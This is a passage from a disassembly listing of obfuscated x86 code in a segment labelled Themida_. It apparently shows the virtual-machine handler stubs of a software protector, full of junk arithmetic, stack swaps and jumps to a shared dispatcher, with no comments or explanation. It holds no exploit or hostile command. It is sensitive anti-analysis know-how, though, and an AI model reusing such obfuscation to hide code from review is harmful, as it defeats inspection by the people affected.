edi add edx, ecx mov ecx, [esp] jmp loc_5582E7 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_556745 ; --------------------------------------------------------------------------- loc_555381: ; CODE XREF: Themida_:0055D0FFj pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_55B861 ; --------------------------------------------------------------------------- loc_555391: ; CODE XREF: Themida_:00558B6Bj sub eax, 36E1C34h add eax, 556F20DFh sub eax, ebx sub eax, 556F20DFh sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebp jmp loc_554F30 ; --------------------------------------------------------------------------- loc_5553BC: ; CODE XREF: Themida_:00554E6Dj push eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_5553C3: ; CODE XREF: Themida_:0055B5DBj xor [esp], edi xor edi, [esp] pop esp xor ebx, eax push dword ptr [eax] jmp loc_551368 ; --------------------------------------------------------------------------- loc_5553D3: ; CODE XREF: Themida_:00555E3Bj add eax, ebp add eax, 351F1271h pop ebp jmp loc_55C171 ; --------------------------------------------------------------------------- loc_5553E0: ; CODE XREF: Themida_:0055CCD0j test ecx, eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_5553E8: ; CODE XREF: Themida_:00553A0Aj mov [esp], ebx push 22DF3F26h pop ebx add ebx, 71023AAh jmp loc_55568B ; --------------------------------------------------------------------------- loc_5553FC: ; CODE XREF: Themida_:00559FFFj pop eax shr eax, 2 push 2B1h mov [esp], ebp mov ebp, 0D173500h jmp loc_55875B ; --------------------------------------------------------------------------- loc_555412: ; CODE XREF: Themida_:00556568j pop ecx add eax, edi sub eax, 1B70064Ah jmp loc_5579F3 ; --------------------------------------------------------------------------- loc_55541F: ; CODE XREF: Themida_:005580E2j add esi, edx pop edx jmp loc_555583 ; --------------------------------------------------------------------------- loc_555427: ; CODE XREF: Themida_:005533EAj mov [esp], ax jmp loc_551368 ; --------------------------------------------------------------------------- loc_555430: ; CODE XREF: Themida_:00556BA1j xchg ch, dl jmp loc_555994 ; --------------------------------------------------------------------------- loc_555437: ; CODE XREF: Themida_:005568DCj dec eax sub eax, 0E960A3h add edx, eax pop eax xchg edx, [esp] pop esp push 3E76h mov [esp], ebx push 1 push dword ptr [esp] jmp loc_55583A ; --------------------------------------------------------------------------- loc_555459: ; CODE XREF: Themida_:00551B91j push 388Eh mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_55734B ; --------------------------------------------------------------------------- loc_555474: ; CODE XREF: Themida_:00557851j pop ecx sub edi, 4B1F02B4h add edi, ecx add edi, 4B1F02B4h push eax mov eax, 6DA806C9h xor eax, 7D9F758Bh add eax, 16D45BE5h neg eax not eax add eax, 145F9B02h add edi, eax pop eax pop ecx xchg edi, [esp] pop esp sub [esp], ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_5554AE: ; CODE XREF: Themida_:00552E33j push ebp push 54DE49C1h jmp loc_556AD2 ; --------------------------------------------------------------------------- loc_5554B9: ; CODE XREF: Themida_:0055B312j sub eax, 2E1544Eh add eax, 39114E9Ah xor eax, 48D0612Ch and eax, 5235DCAh jmp loc_55D16D ; --------------------------------------------------------------------------- loc_5554D2: ; CODE XREF: Themida_:00551B61j pop esp jmp loc_551368 ; --------------------------------------------------------------------------- loc_5554D8: ; CODE XREF: Themida_:0055B5D3j shr dh, 8 shl dh, 1 push dx inc byte ptr [esp+1] pop dx xor dh, 2Fh or cl, dh pop edx xor cl, 31h push dx mov dl, 5Ch xor cl, dl pop dx push ebx jmp loc_554D97 ; --------------------------------------------------------------------------- loc_5554FC: ; CODE XREF: Themida_:00556740j pop edx push eax mov al, 0F8h jmp loc_55BA60 ; --------------------------------------------------------------------------- loc_555505: ; CODE XREF: Themida_:0055876Cj pop eax add edi, 3B286008h push eax jmp loc_55A93F ; --------------------------------------------------------------------------- loc_555512: ; CODE XREF: Themida_:00556A7Aj sub dword ptr [esp+4], 2A77790Fh jmp loc_5531B3 ; --------------------------------------------------------------------------- loc_55551F: ; CODE XREF: Themida_:00551BD1j add ebp, eax pop eax jmp loc_5519D3 ; --------------------------------------------------------------------------- loc_555527: ; CODE XREF: Themida_:00559A1Fj shl ebp, 4 jmp loc_55150C ; --------------------------------------------------------------------------- loc_55552F: ; CODE XREF: Themida_:0055389Cj sub esp, 4 mov [esp], esi mov esi, esp push 9E4h mov [esp], ebx jmp loc_55180D ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx push 74E3h mov [esp], esp add dword ptr [esp], 4 pop edx push 6972h jmp loc_55AEE5 ; --------------------------------------------------------------------------- loc_555568: ; CODE XREF: Themida_:00554C3Cj pop eax push eax mov al, dh mov cl, al jmp loc_55BD6F ; --------------------------------------------------------------------------- loc_555573: ; CODE XREF: Themida_:00551DDCj pop ecx add al, 0B6h add al, 0B9h mov ebx, [esp] add esp, 4 jmp loc_557C67 ; --------------------------------------------------------------------------- loc_555583: ; CODE XREF: Themida_:00555422j add esi, 6DCC5459h jmp loc_5580E7 ; --------------------------------------------------------------------------- loc_55558E: ; CODE XREF: Themida_:00554E64j mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 4B5361F0h add edx, edi pop edi sub edx, 785D5289h add edx, eax add edx, 785D5289h sub edx, 4B5361F0h push esi mov esi, 350B173Eh sub esi, 0FFFFFFFFh add esi, 3ECE106Ch push ebp mov ebp, 776C1E1Ah sub ebp, 11482E7Fh sub ebp, 8D9D627h add esi, ebp pop ebp xor esi, 0D2815D1Eh add edx, esi pop esi jmp loc_551368 ; --------------------------------------------------------------------------- loc_5555EB: ; CODE XREF: Themida_:0055D115j add esp, 4 loc_5555EE: ; CODE XREF: Themida_:00556331j ; Themida_:0055A22Fj push 201Ch mov [esp], edx mov edx, 24h push eax push 5271h mov [esp], edi mov edi, 47DE3F0Ch push eax push ebx mov ebx, 7E9E72B4h mov eax, 8CA47698h xor eax, ebx mov ebx, [esp] add esp, 4 add edi, eax pop eax push edx mov edx, edi mov eax, edx jmp loc_5535DD ; --------------------------------------------------------------------------- loc_55562A: ; CODE XREF: Themida_:0055A93Aj pop esi add ebx, 0D929FAAFh jmp loc_554840 ; --------------------------------------------------------------------------- loc_555636: ; CODE XREF: Themida_:0055996Bj mov eax, [esp] add esp, 4 jmp loc_558B45 ; --------------------------------------------------------------------------- lodsb jmp loc_554447 ; --------------------------------------------------------------------------- loc_555647: ; CODE XREF: Themida_:0055A28Bj sub edi, 4 xchg edi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push ebp jmp loc_5536F6 ; --------------------------------------------------------------------------- mov cx, [esp] push 60CAh jmp loc_55B19D ; --------------------------------------------------------------------------- loc_55567E: ; CODE XREF: Themida_:0055A6ADj and esi, 7D11421h not esi jmp loc_557F50 ; --------------------------------------------------------------------------- loc_55568B: ; CODE XREF: Themida_:005553F7j and ebx, 334701B8h add ebx, 247508F5h push ebx xor dword ptr [esp], 3CC114BFh pop ecx xor ecx, 3CC114BFh mov ebx, [esp] jmp loc_556B34 ; --------------------------------------------------------------------------- loc_5556AE: ; CODE XREF: Themida_:00557501j push esp jmp loc_558C9B ; --------------------------------------------------------------------------- loc_5556B4: ; CODE XREF: Themida_:0055BCFBj mov [esp], edx jmp loc_55A30C ; --------------------------------------------------------------------------- loc_5556BC: ; CODE XREF: Themida_:0055D404j mov ebp, 46876572h xor ebp, 48E174B7h or ebp, 4E3C4BDCh push eax mov eax, 6DB45D10h shl eax, 8 jmp loc_558509 ; --------------------------------------------------------------------------- loc_5556DB: ; CODE XREF: Themida_:0055C3B5j push ecx mov ecx, esp push eax mov eax, 276970AFh not eax and eax, 20766E54h inc eax shl eax, 1 sub eax, 2C1C9Eh add ecx, eax pop eax sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_55856E ; --------------------------------------------------------------------------- loc_555702: ; CODE XREF: Themida_:00554BC8j mov esi, esp add esi, 4 add esi, 4 jmp loc_559D97 ; --------------------------------------------------------------------------- loc_555715: ; CODE XREF: Themida_:00551E08j add esp, 4 sub esp, 4 mov [esp], ecx push ebx mov bh, 8Ch mov ch, 0E8h sub ch, 36h add ch, 0CFh add ch, 0FAh jmp loc_55C999 ; --------------------------------------------------------------------------- loc_555731: ; CODE XREF: Themida_:00553554j add ebx, eax pop eax add ecx, 65BA0186h add ecx, ebx jmp loc_5567D5 ; --------------------------------------------------------------------------- loc_555741: ; CODE XREF: Themida_:0055A6CCj mov [esp], ebx jmp loc_556B7A ; --------------------------------------------------------------------------- loc_555749: ; CODE XREF: Themida_:00552A0Fj mov esp, [esp] jmp loc_5584C6 ; --------------------------------------------------------------------------- loc_555751: ; CODE XREF: Themida_:00555FECj push eax mov ah, 0CDh dec ah xor ah, 44h jmp loc_554C34 ; --------------------------------------------------------------------------- loc_55575E: ; CODE XREF: Themida_:00556F0Bj add edx, eax jmp loc_5594EF ; --------------------------------------------------------------------------- loc_555765: ; CODE XREF: Themida_:0055A3A2j mov ebp, [esp] jmp loc_558C93 ; --------------------------------------------------------------------------- loc_55576D: ; CODE XREF: Themida_:00554D39j sub esp, 4 mov [esp], ebp jmp loc_559190 ; --------------------------------------------------------------------------- loc_55577B: ; CODE XREF: Themida_:00553562j add ecx, esi pop esi add ecx, 4 jmp loc_556A43 ; --------------------------------------------------------------------------- loc_555786: ; CODE XREF: Themida_:0055A914j pop ecx push eax push ebx mov bh, 5Bh jmp loc_556C85 ; --------------------------------------------------------------------------- loc_555790: ; CODE XREF: Themida_:00558544j mov [esp], edi mov edi, 63FA7D78h add eax, 1061517Ch add eax, edi sub eax, 1061517Ch jmp loc_552A3A ; --------------------------------------------------------------------------- loc_5557A9: ; CODE XREF: Themida_:005528ECj push 5385h mov [esp], ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_5598E7 ; --------------------------------------------------------------------------- loc_5557D4: ; CODE XREF: Themida_:0055B246j xor dword ptr [esp], 3FA067B3h mov eax, [esp] add esp, 4 jmp loc_55B3D6 ; --------------------------------------------------------------------------- loc_5557E6: ; CODE XREF: Themida_:0055B93Dj mov eax, 4 sub ebx, eax pop eax xchg ebx, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] jmp loc_55BE35 ; --------------------------------------------------------------------------- loc_5557FE: ; CODE XREF: Themida_:00553EFBj add esi, ebx pop ebx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx mov edx, esp push eax mov eax, 4 add edx, eax jmp loc_55A595 ; --------------------------------------------------------------------------- loc_55582B: ; CODE XREF: Themida_:00557AFEj mov ebp, [esp] add esp, 4 pop ebx jmp loc_551368 ; --------------------------------------------------------------------------- loc_55583A: ; CODE XREF: Themida_:00555454j pop ebx push ebx mov ebx, esp push eax mov eax, 8FA6DE3h not eax jmp loc_5591CA ; --------------------------------------------------------------------------- loc_55584B: ; CODE XREF: Themida_:005595D7j add esp, 4 mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_558549 ; --------------------------------------------------------------------------- loc_55585F: ; CODE XREF: Themida_:00554D75j mov [esp], ecx mov cl, 0FAh mov dh, cl pop ecx add dh, 5Eh jmp loc_553929 ; --------------------------------------------------------------------------- loc_55586F: ; CODE XREF: Themida_:005590F2j mov dx, [esp] add esp, 2 xor ch, 1Fh push ebx mov bl, 0E2h sub bl, 0E5h push dx mov dl, 94h add bl, dl pop dx sub esp, 4 mov [esp], eax mov al, 54h inc al sub al, 71h add al, 93h and bl, al pop eax sub bl, 0Ch sub ch, 8Ah sub ch, bl add ch, 8Ah pop ebx jmp loc_557197 ; --------------------------------------------------------------------------- loc_5558AC: ; CODE XREF: Themida_:0055D053j add eax, 4 xchg eax, [esp] pop esp jmp loc_55C87D ; --------------------------------------------------------------------------- loc_5558B8: ; CODE XREF: Themida_:0055CFA5j jmp loc_551368 ; --------------------------------------------------------------------------- loc_5558BD: ; CODE XREF: Themida_:0055A26Bj pop esi jmp loc_558C71 ; --------------------------------------------------------------------------- loc_5558C3: ; CODE XREF: Themida_:00557D35j pop esi neg esi sub esi, 969FFC18h mov ebp, esi pop esi add edx, ebp pop ebp add edx, 4 xchg edx, [esp] pop esp push ebp push esi mov esi, 45B2405h neg esi jmp loc_557B90 ; --------------------------------------------------------------------------- loc_5558E7: ; CODE XREF: Themida_:0055B9C0j pop cx push ecx push ebx jmp loc_557EB9 ; --------------------------------------------------------------------------- loc_5558F0: ; CODE XREF: Themida_:00557CF0j push esi push 1E5E6B86h jmp loc_556E7F ; --------------------------------------------------------------------------- loc_5558FB: ; CODE XREF: Themida_:0055C840j sub ebx, 7C826859h sub ebx, esi add ebx, 7C826859h pop esi add edx, ebx pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov dx, [esp] push 5D69h mov [esp], edx jmp loc_557100 ; --------------------------------------------------------------------------- loc_55592A: ; CODE XREF: Themida_:0055AA93j pop dx push edi jmp loc_55BB2B ; --------------------------------------------------------------------------- loc_555932: ; CODE XREF: Themida_:00558BAEj pop esi add ebx, eax add ebx, 46A359F4h pop eax xchg ebx, [esp] mov esp, [esp] jmp loc_553245 ; --------------------------------------------------------------------------- loc_555947: ; CODE XREF: Themida_:005522CBj xor edx, [esp] mov esp, [esp] dec word ptr [esp] pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_555957: ; CODE XREF: Themida_:00555BC8j push 3672h mov [esp], ecx push eax push 59496ED4h pop eax sub eax, 59496ED0h mov ecx, eax pop eax mov eax, ecx pop ecx add edx, eax pop eax add edx, 4 xchg edx, [esp] jmp loc_55CCCD ; --------------------------------------------------------------------------- loc_555982: ; CODE XREF: Themida_:0055B3D1j mov [esp], ecx push 5F5h mov [esp], eax mov ah, dl jmp loc_552E5E ; --------------------------------------------------------------------------- loc_555994: ; CODE XREF: Themida_:00555432j add dl, 1 shl dl, 4 sub dl, 3Eh sub dl, 7 inc dl sub esp, 4 jmp loc_5544D2 ; --------------------------------------------------------------------------- loc_5559AA: ; CODE XREF: Themida_:005562A3j add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp pop dword ptr [esp] push 419Ch mov [esp], eax not dword ptr [esp] mov eax, [esp] add esp, 4 xor [esp], eax jmp loc_55273E ; --------------------------------------------------------------------------- loc_5559D9: ; CODE XREF: Themida_:00557132j mov [esp], ecx sub esp, 4 jmp loc_55B926 ; --------------------------------------------------------------------------- loc_5559E7: ; CODE XREF: Themida_:0055D304j pop edi xchg esi, [esp] mov esp, [esp] mov [esp], edi sub esp, 4 mov [esp], edx mov edx, 1 push edx jmp loc_554D25 ; --------------------------------------------------------------------------- loc_555A05: ; CODE XREF: Themida_:0055A3D2j mov [esp], eax jmp loc_55B5C6 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_555A1B: ; CODE XREF: Themida_:00556DA0j push 0 sub [esp], al mov al, [esp] add esp, 4 jmp loc_555D7E ; --------------------------------------------------------------------------- loc_555A2E: ; CODE XREF: Themida_:0055AA17j sub esp, 4 mov [esp], edi mov edi, 1711472Bh add esi, edi pop edi pop edi push 4CECh mov [esp], esi push 40A32313h push dword ptr [esp] jmp loc_559255 ; --------------------------------------------------------------------------- loc_555A52: ; CODE XREF: Themida_:0055A668j push edi mov edi, 4 jmp loc_55D07F ; --------------------------------------------------------------------------- loc_555A5D: ; CODE XREF: Themida_:00553A68j push ebp jmp loc_552305 ; --------------------------------------------------------------------------- loc_555A63: ; CODE XREF: Themida_:0055A1A6j mov dl, 0E5h shr dl, 2 xor dl, 55h and dl, 95h sub dl, 0EEh sub ch, dl pop edx mov dh, ch jmp loc_55B85B ; --------------------------------------------------------------------------- loc_555A7B: ; CODE XREF: Themida_:00551E25j push 1192h mov [esp], ebp jmp loc_55AC17 ; --------------------------------------------------------------------------- loc_555A88: ; CODE XREF: Themida_:005533D7j sub esp, 4 mov [esp], esi jmp loc_5526FC ; --------------------------------------------------------------------------- loc_555A93: ; CODE XREF: Themida_:00552B92j and [edi+1Ch], eax mov eax, [esp] add esp, 4 jmp loc_55342F ; --------------------------------------------------------------------------- loc_555AA4: ; CODE XREF: Themida_:0055C931j xor esi, eax jmp loc_552EDF ; --------------------------------------------------------------------------- loc_555AAB: ; CODE XREF: Themida_:00556631j add edx, 64A830B6h xor edx, 0D7BB8496h add eax, edx jmp loc_553A6D ; --------------------------------------------------------------------------- loc_555ABE: ; CODE XREF: Themida_:0055C240j add edx, esi pop esi sub edx, 4 xor edx, [esp] jmp loc_559AAC ; --------------------------------------------------------------------------- loc_555ACC: ; CODE XREF: Themida_:00552C7Aj pop ebx add edi, 4 jmp loc_556652 ; --------------------------------------------------------------------------- loc_555AD8: ; CODE XREF: Themida_:0055B1ECj add dword ptr [esp], 4 pop edx push esi mov esi, 4 add edx, esi pop esi add edx, 4 xor edx, [esp] jmp loc_55D1CB ; --------------------------------------------------------------------------- loc_555AF7: ; CODE XREF: Themida_:0055B5E7j push 0DC9h mov [esp], ebp push esp pop ebp push ebx mov ebx, 4 jmp loc_55925D ; --------------------------------------------------------------------------- loc_555B0C: ; CODE XREF: Themida_:0055518Bj push ebx mov ebx, 400516E2h jmp loc_556BBE ; --------------------------------------------------------------------------- loc_555B17: ; CODE XREF: Themida_:00556DDCj sub esp, 4 mov [esp], edi jmp loc_552EF3 ; --------------------------------------------------------------------------- loc_555B25: ; CODE XREF: Themida_:00555CCEj pop edi jmp loc_55479D ; --------------------------------------------------------------------------- loc_555B2B: ; CODE XREF: Themida_:0055B9A5j mov [esp], ebx mov ebx, esp push eax mov eax, 64865A8Ch sub eax, 64865A88h add ebx, eax jmp loc_556550 ; --------------------------------------------------------------------------- loc_555B42: ; CODE XREF: Themida_:00557BB2j pop eax push 1F64h mov [esp], ebx sub esp, 4 mov [esp], esi mov esi, 1 sub esp, 4 mov [esp], ecx jmp loc_557856 ; --------------------------------------------------------------------------- loc_555B64: ; CODE XREF: Themida_:00559C08j add esi, ebx add esi, 6151375Fh add esi, 30B03ABAh pop ebx push 1327h mov [esp], edx mov edx, 4 sub esi, edx pop edx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], eax jmp loc_551368 ; --------------------------------------------------------------------------- loc_555B95: ; CODE XREF: Themida_:00552C4Cj mov [esp], esi mov esi, esp add esi, 4 push 6985h mov [esp], ebx push esi push 421E3455h mov esi, [esp] add esp, 4 dec esi dec esi jmp loc_55923A ; --------------------------------------------------------------------------- loc_555BBE: ; CODE XREF: Themida_:00557192j add esp, 4 add esp, 4 push eax jmp loc_555957 ; --------------------------------------------------------------------------- loc_555BCD: ; CODE XREF: Themida_:00554267j add bl, cl jmp loc_5562FA ; --------------------------------------------------------------------------- loc_555BD4: ; CODE XREF: Themida_:0055A926j mov edx, esi pop esi pop ebp add edi, edx pop edx add edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] inc dword ptr [esp] pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_555BFE: ; CODE XREF: Themida_:00554C03j add ecx, esi pop esi add ecx, 2 sub esp, 4 mov [esp], ecx jmp loc_55A492 ; --------------------------------------------------------------------------- loc_555C0F: ; CODE XREF: Themida_:00551F9Dj sub edi, 4 xchg edi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push ecx push esi push ebp mov ebp, 7ED15FAh sub ebp, 9CD3C4FAh mov esi, ebp jmp loc_55AC0A ; --------------------------------------------------------------------------- loc_555C47: ; CODE XREF: Themida_:00555E7Fj add esp, 2 sub al, ch mov ecx, [esp] push esi push esp pop esi jmp loc_55372E ; --------------------------------------------------------------------------- loc_555C57: ; CODE XREF: Themida_:005543ADj push esp jmp loc_553F5A ; --------------------------------------------------------------------------- loc_555C5D: ; CODE XREF: Themida_:0055254Bj push ebp jmp loc_559AC0 ; --------------------------------------------------------------------------- loc_555C63: ; CODE XREF: Themida_:00556D82j mov [esp], esi jmp loc_5595A8 ; --------------------------------------------------------------------------- loc_555C6B: ; CODE XREF: Themida_:00556AC4j mov [esp], ebx push eax mov eax, 5B3E15A4h jmp loc_55CD47 ; --------------------------------------------------------------------------- loc_555C79: ; CODE XREF: Themida_:005549B8j mov edx, esp push 4A47h mov [esp], eax mov eax, 4 jmp loc_553513 ; --------------------------------------------------------------------------- loc_555C8D: ; CODE XREF: Themida_:005585C0j mov [esp], edx push ebp jmp loc_55C196 ; --------------------------------------------------------------------------- loc_555C96: ; CODE XREF: Themida_:0055C8BDj mov edi, 4 add ebp, edi pop edi jmp loc_557739 ; --------------------------------------------------------------------------- loc_555CA3: ; CODE XREF: Themida_:0055ABA1j add dword ptr [esp+8], 12855C5Ch pop ecx sub [esp+4], esi add dword ptr [esp+4], 6B6F184Ah jmp loc_553C83 ; --------------------------------------------------------------------------- loc_555CBD: ; CODE XREF: Themida_:005565ABj push esp pop edi push edx push 47C50092h pop edx push edi mov edi, 40334678h xor edx, edi jmp loc_555B25 ; --------------------------------------------------------------------------- loc_555CD3: ; CODE XREF: Themida_:00554012j push ebp jmp loc_55813F ; --------------------------------------------------------------------------- loc_555CD9: ; CODE XREF: Themida_:00551539j mov edx, [esp] add esp, 4 push ecx push 13FAh mov [esp], ebp push 67640A6Eh pop ebp jmp loc_5595DC ; --------------------------------------------------------------------------- loc_555CF6: ; CODE XREF: Themida_:0055418Fj push edi mov edi, 4 add [esp+4], edi push dword ptr [esp] jmp loc_55746D ; --------------------------------------------------------------------------- loc_555D08: ; CODE XREF: Themida_:0055AF81j mov eax, 68DE3821h jmp loc_55C574 ; --------------------------------------------------------------------------- loc_555D12: ; CODE XREF: Themida_:0055A67Ej sub ebp, 0B1FB2194h xor esi, ebp pop ebp neg esi jmp loc_551FD5 ; --------------------------------------------------------------------------- loc_555D22: ; CODE XREF: Themida_:0055CEDAj add [esp+4], eax push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] add dword ptr [esp], 33A947ABh add [esp], eax sub dword ptr [esp], 33A947ABh sub esp, 4 mov [esp], edx mov edx, 633739F2h sub [esp+4], edx push dword ptr [esp] pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_551368 ; --------------------------------------------------------------------------- loc_555D7E: ; CODE XREF: Themida_:00555A29j or al, 0B9h add al, 0D6h xor dl, al mov eax, [esp] add esp, 4 sub al, dl mov edx, [esp] add esp, 4 sub bl, 52h jmp loc_55291D ; --------------------------------------------------------------------------- loc_555D9A: ; CODE XREF: Themida_:00554DDEj mov ebp, [esp] jmp loc_55A6FD ; --------------------------------------------------------------------------- loc_555DA2: ; CODE XREF: Themida_:00551808j xchg ecx, [esp] pop esp push esi push esp pop esi add esi, 4 sub esi, 4 push esi jmp loc_55D409 ; --------------------------------------------------------------------------- loc_555DB8: ; CODE XREF: Themida_:0055A515j mov cl, bh pop ebx jmp loc_556BB4 ; --------------------------------------------------------------------------- loc_555DC0: ; CODE XREF: Themida_:00554D52j add esp, 4 pop dword ptr [esp] jmp loc_55C915 ; --------------------------------------------------------------------------- loc_555DCE: ; CODE XREF: Themida_:00554911j mov cx, [esp] push ecx mov ecx, esp push esi push ecx mov ecx, 12F753C7h inc ecx sub ecx, 18063FBFh inc ecx shr ecx, 1 xor ecx, 7D788A01h mov esi, ecx mov ecx, [esp] add esp, 4 add ecx, esi mov esi, [esp] add esp, 4 sub ecx, 4 jmp loc_55B619 ; --------------------------------------------------------------------------- loc_555E07: ; CODE XREF: Themida_:005540BFj push 28725AC6h pop ecx jmp loc_558911 ; --------------------------------------------------------------------------- loc_555E12: ; CODE XREF: Themida_:00552918j mov esp, [esp] mov [esp], ecx mov ch, al mov bl, ch push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_55138C ; --------------------------------------------------------------------------- loc_555E2A: ; CODE XREF: Themida_:0055A8CEj pop edx shl ebp, 3 shl ebp, 1 add ebp, 8D5D7Bh sub eax, 351F1271h jmp loc_5553D3 ; --------------------------------------------------------------------------- loc_555E40: ; CODE XREF: Themida_:00554696j add edi, 4 sub edi, 4 jmp loc_5581AE ; --------------------------------------------------------------------------- loc_555E4E: ; CODE XREF: Themida_:00552CD1j xor ebp, [esp] xor [esp], ebp jmp loc_557F90 ; --------------------------------------------------------------------------- loc_555E59: ; CODE XREF: Themida_:00552E59j xor eax, ecx mov ecx, [esp] jmp loc_55886A ; --------------------------------------------------------------------------- loc_555E63: ; CODE XREF: Themida_:00552AD7j pop eax pop edx jmp loc_558020 ; --------------------------------------------------------------------------- loc_555E6A: ; CODE XREF: Themida_:00551679j movsx cx, al push ecx mov ecx, esp push 643Fh jmp loc_55D459 ; --------------------------------------------------------------------------- loc_555E7B: ; CODE XREF: Themida_:0055C93Ej mov dx, [esp] jmp loc_555C47 ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_555E8D: ; CODE XREF: Themida_:00553C3Fj xor edx, [esp] pop esp mov [esp], edx jmp loc_55AB37 ; --------------------------------------------------------------------------- loc_555E99: ; CODE XREF: Themida_:0055B781j mov [esp], eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx push ecx mov cl, 0BAh push eax mov al, 0EAh jmp loc_55998A ; --------------------------------------------------------------------------- loc_555EBD: ; CODE XREF: Themida_:0055960Ej push edx mov edx, 0BF96392h push ebp mov ebp, 25DF5897h or ebp, 2BE61739h jmp loc_558ED9 ; --------------------------------------------------------------------------- loc_555ED4: ; CODE XREF: Themida_:0055AA3Bj add ecx, 43762E0h jmp loc_55B070 ; --------------------------------------------------------------------------- loc_555EDF: ; CODE XREF: Themida_:0055334Bj sub edi, 4DED46E6h pop edx pop ebx retn ; --------------------------------------------------------------------------- jmp loc_551368 ; --------------------------------------------------------------------------- loc_555EED: ; CODE XREF: Themida_:00559BBFj pop ebp add ebx, ebp pop ebp push edi mov edi, 4 add ebx, edi pop edi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55A6D1 ; --------------------------------------------------------------------------- push 3D71h mov [esp], esp sub esp, 4 mov [esp], ecx jmp loc_55605A ; --------------------------------------------------------------------------- loc_555F1E: ; CODE XREF: Themida_:0055AFF7j sub eax, 0B80A765Fh jmp loc_556B71 ; --------------------------------------------------------------------------- loc_555F28: ; CODE XREF: Themida_:0055136Fj mov [esp], cx mov cl, 1Bh sub al, cl mov cx, [esp] add esp, 2 add al, bl push cx mov cl, 1Bh sub esp, 4 jmp loc_55AFB4 ; --------------------------------------------------------------------------- loc_555F48: ; CODE XREF: Themida_:005523CAj add edx, edi jmp loc_55896D ; --------------------------------------------------------------------------- loc_555F4F: ; CODE XREF: Themida_:0055BE0Aj sub esi, ecx xchg esi, ecx pop esi not ecx dec ecx push edx push esi push edi mov edi, 2A851F73h sub edi, 45EF6645h add edi, 450F544Ah mov esi, edi pop edi push esi not dword ptr [esp] pop esi push ebx jmp loc_553CEA ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_555F88: ; CODE XREF: Themida_:005578B1j mov esp, [esp] mov [esp], ebx push 1Ch mov ebx, [esp] add esp, 4 add ebx, 1D265F2Ah sub ebx, 736D3FA1h add ebx, 488B6F8Bh add ebx, edi sub ebx, 488B6F8Bh push ecx mov ecx, 736D3FA1h add ebx, ecx pop ecx sub ebx, 1D265F2Ah mov ecx, [ebx] mov ebx, [esp] add esp, 4 push esi jmp loc_5526C3 ; --------------------------------------------------------------------------- loc_555FD3: ; CODE XREF: Themida_:005537CEj mov [esp], edi push dword ptr [esp] push dword ptr [esp] mov edx, [esp] push edi mov edi, esp push eax jmp loc_5531F9 ; --------------------------------------------------------------------------- loc_555FE8: ; CODE XREF: Themida_:0055A187j pop eax and dh, 0C3h jmp loc_555751 ; --------------------------------------------------------------------------- loc_555FF1: ; CODE XREF: Themida_:005576B3j add al, 0B8h mov cx, [esp] jmp loc_55A1C9 ; --------------------------------------------------------------------------- loc_555FFC: ; CODE XREF: Themida_:00553DC5j sub ebx, 52150CC3h pop eax push ebx mov bl, 7 push eax jmp loc_5594F6 ; --------------------------------------------------------------------------- loc_55600C: ; CODE XREF: Themida_:0055AC05j mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_55D420 ; --------------------------------------------------------------------------- loc_556024: ; CODE XREF: Themida_:00558F49j mov eax, [esp] add esp, 4 jmp loc_553B1E ; --------------------------------------------------------------------------- loc_556032: ; CODE XREF: Themida_:0055940Bj add edx, ecx sub edx, 20662A73h push esi mov esi, 50722C9Ch or esi, 7D4360DCh jmp loc_55C2AE ; --------------------------------------------------------------------------- loc_55604B: ; CODE XREF: Themida_:0055755Dj pop ebp add eax, esi pop esi sub esp, 4 mov [esp], ecx jmp loc_551F4B ; --------------------------------------------------------------------------- loc_55605A: ; CODE XREF: Themida_:00555F19j sub esp, 4 mov [esp], edi jmp loc_556690 ; --------------------------------------------------------------------------- mov cx, [esp] push 14BCh mov [esp], ebx mov ebx, esp push 6C54h jmp loc_55D468 ; --------------------------------------------------------------------------- loc_55607D: ; CODE XREF: Themida_:00557277j push eax mov al, 0CFh xor al, 2 shl al, 7 jmp loc_5526A5 ; --------------------------------------------------------------------------- loc_55608A: ; CODE XREF: 